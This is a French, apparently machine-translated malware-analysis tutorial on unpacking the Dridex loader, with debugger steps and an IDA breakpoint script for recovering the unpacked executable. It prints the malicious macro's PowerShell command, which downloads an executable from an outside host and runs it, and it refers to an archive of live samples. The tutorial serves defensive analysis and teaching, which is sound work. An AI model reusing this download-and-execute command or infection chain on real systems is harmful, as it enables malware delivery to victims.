Déballage: Dridex bootloader

Bons amis la nuit! Dans moins d'un mois, le cours d' ingénierie inverse commencera avec nous et, à cet égard, nous partageons traditionnellement des informations utiles sur le sujet.

Certains lecteurs ont eu des problèmes pour déballer le chargeur de démarrage pour Dridex (celui qui a été réinitialisé par la macro), donc aujourd'hui je vais vous montrer un moyen simple de le faire. Un autre problème que les gens ne peuvent pas résoudre que je ne peux pas résoudre est le fait que les chaînes infectieuses Dridex ont une durée de vie très courte, ce qui rend l'inversion presque impossible pour la plupart des gens. Je vais vous expliquer pourquoi.

La chaîne d'infection actuelle de Dridex comprend environ 4 étapes:

1. Un document Office contenant une macro exécute un script PowerShell.
2. Un script Powershell qui téléchargera le chargeur de démarrage empaqueté à partir d'un site piraté ou d'un point de partage et l'exécutera.
3. Un chargeur de démarrage empaqueté qui se décompresse et insère du code dans un processus spoolsrv ou svchost nouvellement créé.
4. Un processus intégré qui contactera le serveur de chargement pour récupérer et exécuter le vrai fichier binaire du bot.

Le problème pour les analystes est qu'il y a 2 points d'échec ici: le site piraté hébergeant le chargeur de démarrage peut soit effacer ou supprimer le compte de partage, soit le serveur du chargeur de démarrage peut être arrêté (l'un d'eux empêchera une infection réussie). De plus, les serveurs de chargement prennent souvent en charge la clôture géographique (ils ne fonctionnent que si votre adresse IP se trouve dans le pays pour lequel elle est prévue et n'est pas un VPN), et dès que le chargeur de démarrage est téléchargé publiquement, le groupe Dridex a la possibilité de le mettre sur liste noire. en empêchant de façon permanente toute personne qui l'exécute de contacter des C2 (services de cloud commercial).

Ce qui est surprenant à propos de tous ces «échecs», c'est qu'ils sont probablement intentionnels. La plupart des victimes qui reçoivent des e-mails infectés l'ouvriront dans quelques jours ouvrables, après quoi la plupart des personnes qui ouvrent l'e-mail analyseront le malware, il est donc utile que tout disparaisse en une semaine.

Pour que les lecteurs puissent pratiquer cette leçon dans la pratique, il y a un zip qui contient un document Office malveillant et un chargeur emballé de la même chaîne, donc il n'y a pas besoin de se soucier des URL mortes (mot de passe: infecté). En ce qui concerne les serveurs avec la clôture géographique du chargeur de démarrage, je ne peux rien y faire, et puisque le chargeur de démarrage a déjà été rappelé, vous serez mis sur liste noire pour le démarrer (si vous ne savez pas comment contourner la liste noire, suivez cette leçon dans la nouvelle machine virtuelle (machine virtuelle) et peut-être changer l'adresse IP après).

Obtenir un chargeur emballé

Tout d'abord, vous souhaiterez ouvrir un document malveillant dans Word, mais ne cliquez pas encore sur "Inclure le contenu". Ouvrez le débogueur (comme d'habitude j'utilise WinDbg), connectez-le à winword.exe, définissez un point d'arrêt sur CreateProcessW, reprenez le processus, puis cliquez sur «Activer le contenu».



Un point d'arrêt sera atteint presque instantanément avec de nouveaux modèles Dridex (certaines machines virtuelles peuvent être détectées, donc si un point d'arrêt ne fonctionne pas, pensez à masquer votre machine virtuelle).

Nous voulons décharger les 1er et 2e paramètres CreateProcess (respectivement, le chemin d'accès aux paramètres d'application et de ligne de commande), nous pouvons le faire avec les commandes suivantes:

du / c100 poi (esp + 4)

du / c100 poi (esp + 8)

Remarque: la commande du réinitialise une chaîne Unicode se terminant par zéro, / c 100 définit la limite de colonne au maximum et poi (esp + 4) lit l'adresse pointée par esp + 4. Résultats que j'ai obtenus:

Application: C: \ Windows \ System32 \ cmd.exe

Paramètres: «C: \ Windows \ System32 \ cmd.exe» / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Nous observons ici comment une macro malveillante lance cmd.exe avec une commande pour lancer PowerShell, contourner la stratégie d'exécution, puis charger et exécuter le fichier exécutable. Si nous supprimons la concaténation de chaîne et les caractères qui ne sont que de l'obscurcissement baisc, nous obtenons ce qui suit:

"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke ( 'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); start-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';

Maintenant, nous pouvons simplement télécharger manuellement le fichier exe depuis littlwnowern [.] Top / lukaku / (l'url est maintenant morte, mais j'ai téléchargé le binaire dans l'archive sous le nom "GksagD.exe.sample"), c'est un chargeur compressé.

Déballage du chargeur de démarrage

Nous devons d'abord activer DEP (Data Execution Prevention) pour toutes les applications, la raison de cela deviendra claire plus tard. Pour ce faire, allez dans "Panneau de configuration"> "Système et sécurité"> "Système"> "Paramètres système avancés"> "Paramètres" (dans la section "Performances") -> "Prévention de l'exécution des données", puis activez DEP pour tous les programmes.



Ensuite, nous allons ouvrir le fichier exe dans PE Explorer et définir l'indicateur «Relocation Stripped» dans l'en-tête PE, ce qui empêchera ASLR de télécharger le fichier exécutable vers une adresse différente à chaque lancement, ce qui simplifie l'inversion.





Enregistrez maintenant le fichier exécutable et ouvrez-le dans IDA Pro.

En règle générale, les chargeurs Dridex créent le processus svchost.exe ou spoolsv.exe et s'y injectent, nous savons donc que le code décompressé est susceptible d'appeler CreateProcess; Pour vérifier cela, définissez un point d'arrêt à la fin de CreateProcessW (dans l'instruction ret) et cliquez sur exécuter.



Une fois le point d'arrêt atteint, vous devriez voir que GksagD.exe a créé un processus suspendu appelé svchost.exe ou spoolsv.exe, comme prévu. Si nous prenons une étape pour revenir de CreateProcessW au code qui l'a appelé, nous rencontrerons ce qui suit.



L'IDA a fragmenté les instructions, ce qui signifie que le code a été modifié depuis l'exécution de l'exécutable, ce qui est généralement le résultat du décompactage en place (souvent les compresseurs de logiciels malveillants utilisent des processus creux pour écrire le code décompressé dans un autre processus, les vrais compresseurs décompressent le code dans le même processus).

Maintenant, nous savons que le code exécutable principal est remplacé à un moment donné, nous pouvons mettre un point d'arrêt sur l'enregistrement à l'adresse actuelle, qui se déclenchera lorsque le code changera.



Après cela, supprimez tous les autres points d'arrêt et redémarrez le processus.



Le point d'arrêt a été appelé à partir d'une adresse en dehors de la section principale des fichiers exécutables, ce qui signifie que le packer a alloué de la mémoire puis copié du code pour prendre soin de remplacer le fichier exécutable principal.

Si nous regardons la mémoire dans Process Hacker, nous verrons qu'elle est maintenant lisible et inscriptible, mais pas exécutable, ce qui est génial car cela signifie que le packer n'utilise plus ce code.



Maintenant, quelques conclusions sur le niveau Sherlock: nous savons que le code est exécuté ici plus tard, et la mémoire n'est pas exécutable pour le moment, donc, peut-être, à un moment donné, elle deviendra exécutable.

La fonction utilisée pour configurer la protection de la mémoire est généralement VirtualAlloc, VirtualAllocEx ou NtProtectVirtualMemory. Si vous connaissez les composants internes de Windows, vous savez que VirtualAlloc et VirtualAllocEx appellent en interne NtProtectVirtualMemory, c'est donc là que nous définissons le point d'arrêt.

Nous pourrions nous asseoir et vérifier la pile d'appels à chaque appel de NtProtectVirtualMemory, attendre que l'adresse correspondante soit définie comme exécutable, puis analyser l'en-tête PE pour trouver un nouveau point d'entrée, ou nous pourrions être plus intelligents.

Nous allons définir un point d'arrêt conditionnel sur NtProtectVirtualMemory en utilisant le script suivant:

if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0; 

Pour ce faire, accédez à NtProtectVirtualMemory et définissez un point d'arrêt sur le premier octet, cliquez avec le bouton droit> Modifier le point d'arrêt, puis cliquez sur le bouton "..." et collez le script.

Ce script sera exécuté à chaque appel de NtProtectVirtualMemory et effectuera les opérations suivantes:

• Assurez-vous que le paramètre de protection de page (esp + 0x10) est 0x10, 0x20 ou 0x40 (alias PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), ce qui signifie que l'appel modifie la protection de page en exécutable.
• Assurez-vous que l'adresse de destination se trouve dans la plage de la section exécutable principale (0x400000 - 0x42e000).
• Modifiez le paramètre de sécurité à 0x04 (non exécutable).
• Retourne 0 (reprendre l'exécution au lieu de l'interrompre dans le débogueur).

Courons et voyons ce qui se passe.



Exception de violation d'accès! Prenez le temps de profiter du moment, car c'est probablement la seule grave erreur de violation d'accès que vous ayez jamais vue ... mais pourquoi est-ce bien?

Notre script de point d'arrêt sur NtProtectVirtualMemory a défini toute la mémoire comme non exécutable lorsque le packer a tenté de la définir sur exécutable. L'exception signifie que tout ce que le packer a écrit dans la mémoire est maintenant correctement écrit et qu'il essaie d'appeler quelque chose dans cette mémoire. Si nous avons de la chance, ce que le packer a écrit en mémoire est le chargeur de démarrage décompressé, et l'adresse qu'il essayait d'appeler est le point d'entrée, non?

Pour ce faire, nous utiliserons un outil incroyable appelé processdump ( lien de téléchargement ), qui crée des vidages de toutes les images exe ou dll chargées dans la mémoire de processus et les recompose dans des fichiers .exe ou .dll.

utilisez «pd32.exe -pid» pour vider le processus.

utilisez "pd32.exe -pid <identifiant de processus>" pour décharger le processus.



Le nombre à la fin du nom de fichier est l'adresse de base de l'image en mémoire, donc GksagD_exe_GksagD.exe_400000.exe sera le même que le packer mappé au lieu de l'ancien exécutable, nous allons donc le regarder dans l'IDA.



L'adresse du point d'entrée est la même que l'adresse d'exception, c'est un exécutable décompressé!

Conseils inversés

Le chargeur de démarrage est compliqué car toutes les chaînes sont cryptées et il n'y a pas d'importation, mais les méthodes que j'ai décrites en détail dans mes manuels Dridex fonctionneront également sur le chargeur de démarrage.

Jetez un oeil:

https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.html

et

https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.html

Remarque: l'exécutable du chargeur de démarrage est polyvalent (c'est le code qui implémente svchost / spoolsv et le code qui implémente svchost / spoolsv). Si vous souhaitez inverser la partie injection du chargeur de démarrage, ouvrez-la simplement dans l'IDA et exécutez-la. Si vous souhaitez inverser la partie de démarrage, vous devez la copier sur system32 et l'exécuter à partir de là (veillez à ce que dans les deux cas le chargeur de démarrage soit supprimé lui-même après son exécution).

Si vous trouvez le matériel utile, mettez un plus, écrivez des commentaires et assurez-vous de vous inscrire à une leçon ouverte qui aura lieu aujourd'hui!